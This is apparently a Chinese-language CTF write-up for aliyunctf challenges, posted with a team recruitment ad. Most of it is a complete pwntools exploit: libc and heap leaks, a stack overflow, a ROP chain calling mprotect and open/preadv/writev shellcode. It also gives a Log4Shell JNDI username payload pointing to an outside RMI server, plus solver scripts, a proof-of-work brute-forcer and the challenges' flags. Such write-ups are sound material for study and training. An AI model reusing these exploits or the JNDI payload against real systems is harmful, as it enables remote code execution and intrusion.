招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
admin@chamd5.org(带上简历和想加入的小组
两个重要的全局变量dword_6080和dword_66E0,本质上是两个数组 dword array[15]
sub_19D6()函数里每次都会更新ptr指针,更新完之后会给起始地址为dword_66E0的变量赋值,所赋的值用来实现sub_2F1D()里不同的功能。dword_6080变量形成的数组是混淆视听的,没有用
利用ptr残留地址泄露libc基地址,下面顺便泄露了下heap base,不过后来没用到
#malloc 0x20 &show(ptr) n1[0] = 0 n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0 shownum(n1) add(0x20,b'a'*0x10,n1) cmd(2) heap_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x290 lg('heap base: ',heap_base) #show(ptr) n1[0] = 0 n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0 add(0x10,b'a',n1) cmd(2) libc.address = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x1ebb61-0x1000 lg('libc base: ',libc.address)
下面是打印功能的实现条件
n1[0] = 0 n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0
有了libc基地址之后,利用栈溢出,使用mprotect函数开一篇rwx区域,执行read数据,然后shellcode拿flag。
栈溢出存在于sub_20F7()
__int64 sub_20F7() { int i; // [rsp+8h] [rbp-118h] int v2; // [rsp+Ch] [rbp-114h] char v3[264]; // [rsp+10h] [rbp-110h] BYREF overflow unsigned __int64 v4; // [rsp+118h] [rbp-8h] v4 = __readfsqword(0x28u); puts("xmki"); if ( dword_66E4 > dword_6714 ) { if ( dword_66E8 > dword_6708 ) { read(0, byte_60C0, 0x200uLL);// here if ( dword_6080 > dword_608C ) dword_6094 = dword_608C; else dword_608C = dword_609C; if ( dword_6094 > dword_608C ) dword_6094 = dword_6088; else dword_60A0 = dword_608C; if ( dword_66EC != dword_670C ) { if ( dword_66F0 > dword_6710 ) { if ( dword_66F4 < dword_6718 && dword_66F8 + dword_66FC > dword_6700 + dword_6704 ) { if ( dword_6080 > dword_6088 ) dword_6094 = dword_6088; else dword_6090 = dword_609C; if ( (dword_6094 > dword_6088 || dword_609C <= dword_6088) && dword_6094 > dword_608C ) dword_6094 = dword_6088; else dword_60A0 = dword_6094; v2 = snprintf(byte_63E0, 0xAuLL, "%s", byte_60C0);// overflowhere for ( i = 0; i < v2; ++i ) { if ( dword_60A8 > dword_608C ) dword_6094 = dword_6088; else dword_6090 = dword_609C; if ( (dword_608C > dword_6088 || dword_609C <= dword_60A0) && dword_6094 > dword_608C ) dword_6094 = dword_6088; else dword_60A0 = dword_6088; __isoc99_scanf("%d", &v3[4 * i]); if ( dword_6080 > dword_608C ) dword_6094 = dword_6088; else dword_6090 = dword_6088; if ( dword_6088 <= dword_6098 && dword_609C > dword_608C ) dword_6094 = dword_6088; else dword_60A0 = dword_6094; } return 0LL; } if ( dword_6080 > dword_608C ) dword_6094 = dword_6088; else dword_6090 = dword_6088; if ( dword_6088 <= dword_6098 && dword_609C > dword_608C ) dword_6094 = dword_6088; else dword_60A0 = dword_6094; } sub_2CFB(); } sub_1ED8(ptr); return 0LL; } sub_2907(); } if ( dword_6080 > dword_608C ) dword_6094 = dword_6088; else dword_6090 = dword_609C; if ( (dword_6094 > dword_6088 || dword_609C <= dword_6098) && dword_6094 > dword_608C ) dword_6094 = dword_6088; else dword_60A0 = dword_6094; sub_2514(); return 0LL; }
snprintf()返回值由第四个参数决定,因此还需要读0x200的数据到0x60c0处
#mid edit & stack overflow n1[0] = 0 n1[15] = 4 n1[1] = 4 n1[13]= 0 n1[2] = 4 n1[10] = 0 n1[3] = 1 n1[11] = 0 n1[4] = 1 n1[12] = 0 n1[5]=0 n1[14]=1 n1[6]=n1[7]=1 n1[8]=n1[9]=0 add(0x20,b'a'*0x10,n1) cmd(2) sla(b'xmki',b'a'*0x200) # pause() for i in range(0x42): pl = str(0x62626262) sl(pl) sl("-") sl("-") sl(str(0x62626262)) sl(str(0x62626262)) mprotect = libc.sym['mprotect'] read64 = libc.sym['read'] open64 = libc.sym['open'] write64 = libc.sym['write'] flag_addr = heap_base+0x2a0 addr = libc.sym['__free_hook'] & ~0xfff pop_rdi = libc.address + 0x0000000000023b6a pop_rsi = libc.address + 0x000000000002601f pop_rdx_rbx = libc.address + 0x000000000015fae6 rop = p64(pop_rdi) + p64(addr) rop += p64(pop_rsi) + p64(0x1000) rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect) rop += p64(pop_rdi) + p64(0) rop += p64(pop_rsi) + p64(addr) rop += p64(pop_rdx_rbx)+p64(0x600)+p64(0) rop += p64(read64) + p64(addr) for i in range(0,len(rop),4): n = u32(rop[i:i+4]) sl(str(n)) for _ in range(0x200-0x42-4-(len(rop) // 4)): sl(str(0x62626262)) sh = shellcraft.open('/flag.txt') # shellcraft.read(3,addr+0x300,0x400) +\ # shellcraft.write(1,addr+0x300,0x100) sh += \ ''' mov rdi, 3 push 0x100 lea rbx, [rsp-8] push rbx mov rsi, rsp mov rdx, 1 xor r10, r10 xor r8, r8 push SYS_preadv pop rax syscall push 1 pop rdi push 0x1 pop rdx push 0x100 lea rbx, [rsp+8] push rbx mov rsi, rsp push SYS_writev pop rax syscall ''' shellcode = asm(sh)
exp
#writen by flyyy from pwn import * from ctypes import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context.log_level="debug" context(arch='amd64', os='linux') context.terminal = ['tmux','splitw'] file = b'vuln' # p = process(file) p = remote('pwn0.aliyunctf.com',9999) libc = ELF('./libc-2.31.so') #------------------------------------------------------------------- s = lambda x: p.send(x) sa = lambda x,y: p.sendafter(x,y) sl = lambda x: p.sendline(x) sla = lambda x,y: p.sendlineafter(x,y) ru = lambda x : p.recvuntil(x) rl = lambda : p.recvline() pid = lambda : log.success("pid: " + str(proc.pidof(p))) lg = lambda x,y: log.success(x + str(hex(y))) itr = lambda : p.interactive() a = lambda : gdb.attach(p) #------------------------------------------------------------------- def cmd(a): sla(b'hhh\n',str(a).encode()) def getnum(): libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') seed = libc.time(0) libc.srand(seed) num = [] for i in range(16): num.append(libc.rand()%256) return num def shownum(num): count = 0 for n in num: print(''+str(count) + ': '+str(hex(n))) count += 1 def add(size,cont,num): cmd(1) sla(b'???\n',str(size).encode()) sl(cont) ru(b'Lucky Numbers\n') for i in range(16): time.sleep(0.05) sl(str(n1[i])) #shwo rand num n = [] n = getnum() shownum(n) n1 = [] n1 = n #malloc 0x20 &show(ptr) n1[0] = 0 n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0 shownum(n1) add(0x20,b'a'*0x10,n1) cmd(2) heap_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x290 lg('heap base: ',heap_base) #show(ptr) n1[0] = 0 n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0 add(0x10,b'a',n1) cmd(2) libc.address = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x1ebb61-0x1000 lg('libc base: ',libc.address) #mid edit & stack overflow n1[0] = 0 n1[15] = 4 n1[1] = 4 n1[13]= 0 n1[2] = 4 n1[10] = 0 n1[3] = 1 n1[11] = 0 n1[4] = 1 n1[12] = 0 n1[5]=0 n1[14]=1 n1[6]=n1[7]=1 n1[8]=n1[9]=0 add(0x20,b'a'*0x10,n1) cmd(2) sla(b'xmki',b'a'*0x200) # pause() for i in range(0x42): pl = str(0x62626262) sl(pl) sl("-") sl("-") sl(str(0x62626262)) sl(str(0x62626262)) mprotect = libc.sym['mprotect'] read64 = libc.sym['read'] open64 = libc.sym['open'] write64 = libc.sym['write'] flag_addr = heap_base+0x2a0 addr = libc.sym['__malloc_hook'] & ~0xfff pop_rdi = libc.address + 0x0000000000023b6a pop_rsi = libc.address + 0x000000000002601f pop_rdx_rbx = libc.address + 0x000000000015fae6 rop = p64(pop_rdi) + p64(addr) rop += p64(pop_rsi) + p64(0x1000) rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect) rop += p64(pop_rdi) + p64(0) rop += p64(pop_rsi) + p64(addr) rop += p64(pop_rdx_rbx)+p64(0x600)+p64(0) rop += p64(read64) + p64(addr) for i in range(0,len(rop),4): n = u32(rop[i:i+4]) sl(str(n)) for _ in range(0x200-0x42-4-(len(rop) // 4)): sl(str(0x62626262)) sh = shellcraft.open('./flag.txt') # shellcraft.read(3,addr+0x300,0x400) +\ # shellcraft.write(1,addr+0x300,0x100) sh += \ ''' mov rdi, 3 push 0x100 lea rbx, [rsp-8] push rbx mov rsi, rsp mov rdx, 1 xor r10, r10 xor r8, r8 push SYS_preadv pop rax syscall push 1 pop rdi push 0x1 pop rdx push 0x100 lea rbx, [rsp+8] push rbx mov rsi, rsp push SYS_writev pop rax syscall ''' # print((hex(len(sh))))#0x39 shellcode = asm(sh) # pause() s(shellcode) # a() p.interactive() #aliyunctf{ff81a2c6-386e-4beb-aab8-0490297d244b}
-f /file 这样可以读文件
登录那里抓包,username给这个就行
username=${jndi:rmi://114.67..:1099/localExploitel}
打tomcat本地工厂类bypass即可。
import copy flag = [0 for i in range(19)] flag[0] = -1 # 数组从下标1开始,flag[0]不使用 flag[15] = 7 flag[18] = 4 maze = [\ 0, 0, 1, 0, 0, 1, 0, 0, 1, \ 0, 0, 0, 1, 1, 1, 0, 0, 1, \ 1, 0, 0, 1, 0, 0, 1, 1, 0, \ 0, 1, 1, 0, 1, 0, 0, 0, 1, \ 0, 1, 0, 1, 0, 0, 1, 0, 0, \ 1, 1, 0, 0, 0, 0, 1, 0, 1, \ 0, 0, 1, 0, 1, 1, 0, 0, 1, \ 0, 0, 1, 0, 0, 0, 0, 0, 1, \ 1, 1, 0, 1, 0, 1, 1, 1, 0, ] # print(maze) def judge(n, f): if f[2]<=f[3] and n<=2: return False if f[4]>=f[5] and n<=4: return False if f[1]!=f[9] and n<=1: return False # if f[16]!=f[12] and n<=12: # return False if f[11]<=f[6] and n<=11: return False if f[4]>=f[14] and n<=4: return False if f[8]>=f[5] and n<=5: return False return True def search(n, f, maze): if n == 1 and judge(n,f) == True: # 推完前15位后,处理16、17位 f[16] = f[12] if maze[f[15]*9+f[16]] != 1: return # 枚举第17位 for i in range(9): index = f[16] * 9 + i if maze[index] == 1 and maze[i * 9 + f[18]] == 1: f[17] = i print('aliyunctf{' + ''.join([str(ch) for ch in f[1:]]) + '}') if judge(n, f) == False: return for i in range(9): index = i * 9 + f[n] index_2 = f[n] * 9 + i if maze[index] is 1: new_maze = copy.deepcopy(maze) new_f = copy.deepcopy(f) new_f[n-1] = i new_maze[index] = 0 new_maze[index_2] = 0 search(n-1, new_f, new_maze) # 递归,从第15位开始回推,搜索所有可能性 search(15, flag, maze) # aliyunctf{085134620568327814}
爆破第一步脚本
import hashlib import itertools target_hash = "b109c4f6ca9eb69448b4f0b58111163babbdff46a2be758ef8606ea42c6625d0" prefix = "pxf4rg2tpiizdgr3rpk21strcept" charset = "abcdefghijklmnopqrstuvwxyz0123456789" combinations = itertools.product(charset, repeat=4) for combination in combinations: attempt = prefix + "".join(combination) hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest() if hashed_attempt == target_hash: print("found:", attempt) break
让ChatGPT写了个简单的模型
数据集https://www.kaggle.com/datasets/crowdflower/twitter-airline-sentiment/data
准确率不高,反正试了几次也出了
######################训练模型############################################## import pandas as pd from sklearn.model_selection import train_test_split from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.svm import LinearSVC from sklearn.metrics import accuracy_score, classification_report # 加载数据集 data = pd.read_csv("Tweets.csv") # 只选择文本和标签列 data = data[['text', 'airline_sentiment']] # 划分数据集为训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(data['text'], data['airline_sentiment'], test_size=0.2, random_state=42) # 将文本转换为TF-IDF特征向量 vectorizer = TfidfVectorizer(max_features=5000, ngram_range=(1,2), stop_words='english') X_train_vec = vectorizer.fit_transform(X_train) X_test_vec = vectorizer.transform(X_test) # 使用线性支持向量机分类器进行情绪预测 svm_classifier = LinearSVC() svm_classifier.fit(X_train_vec, y_train) ######################################################################################## from pwn import * import itertools import hashlib import re import csv context.log_level = 'debug' charset = "abcdefghijklmnopqrstuvwxyz0123456789" combinations = itertools.product(charset, repeat=4) conn = remote('misc0.aliyunctf.com', 9999) sha256_line = conn.recvline() prefix = (sha256_line[9:37]).decode(encoding='utf-8') target_hash = (sha256_line[61:-1]).decode(encoding='utf-8') conn.recvuntil(b'Please input the answer: ') # 枚举四位可见字符 payload = "" for combination in combinations: attempt = prefix + "".join(combination) hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest() if hashed_attempt == target_hash: print("found:", attempt) payload = "".join(combination) break conn.sendline(payload) conn.recvuntil(b'Do you want to training? (y/n) ') conn.sendline(b'y') conn.recvuntil(b'ow, Do you want to start challenge? (y/n) ') conn.sendline(b'y') for i in range(15): round_line = (conn.recvline()).decode(encoding='utf-8') pattern = r"text: @(.+)" search_result = re.search(pattern, round_line) test_words = search_result.group(1) log.success(test_words) text_to_predict = [test_words] text_to_predict_vec = vectorizer.transform(text_to_predict) predicted_sentiment = svm_classifier.predict(text_to_predict_vec) res = predicted_sentiment[0] log.success(res) conn.sendline(res) # Congratulations! You have passed the challenge! # Here is the flag: aliyunctf{N0_0N3_knOW_5ent1M3Nt_An41Y2E_7H4n_Y0u}
- END -